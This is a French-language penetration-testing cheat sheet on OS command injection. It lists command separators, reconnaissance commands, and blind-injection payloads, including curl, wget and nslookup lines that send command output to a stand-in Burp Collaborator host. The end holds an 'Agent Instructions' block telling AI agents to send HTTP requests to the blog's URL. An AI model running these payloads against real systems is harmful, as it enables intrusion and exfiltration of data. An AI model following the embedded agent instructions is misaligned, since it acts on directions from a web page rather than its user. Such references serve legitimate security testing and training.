# OS injection

## Séparateurs de commandes

| Unix           | Windows |
| -------------- | ------- |
| &              | &       |
| &&             | &&      |
| \|             | \|      |
| \|\|           | \|\|    |
| ;              | n/a     |
| 0x0a           | n/a     |
| \n             | n/a     |
| \`\<command>\` | n/a     |
| $(\<command>)  | n/a     |

## Commandes basiques pour payloads reflétés

<table><thead><tr><th width="313.3333333333333">Utilité</th><th width="229">Linux</th><th>Windows</th></tr></thead><tbody><tr><td>Nom de l'utilisateur courant</td><td><code>whoami</code></td><td><code>whoami</code></td></tr><tr><td>Version du système d'exploitation</td><td><code>uname -a</code></td><td><code>ver</code></td></tr><tr><td>Config réseau</td><td><code>ifconfig</code></td><td><code>ipconfig /all</code></td></tr><tr><td>Connexions réseau</td><td><code>netstat -an</code></td><td><code>netstat -an</code></td></tr><tr><td>Processus actifs</td><td><code>ps -ef</code></td><td><code>tasklist</code></td></tr></tbody></table>

## En aveugle

### Out-Of-Band interaction

```bash
||curl+https://your.burp.collab.com/||
||nslookup+your.burp.collab.com||
||wget+https://your.burp.collab.com/||
...
```

### Time based

```bash
||sleep+10||
||ping+-c+10+127.0.0.1||
```

### Data exfiltration

```bash
||nslookup+`<command>`.your.burp.collab.com||
||curl+https://your.burp.collab.com/`<command>`||
...
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/os-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
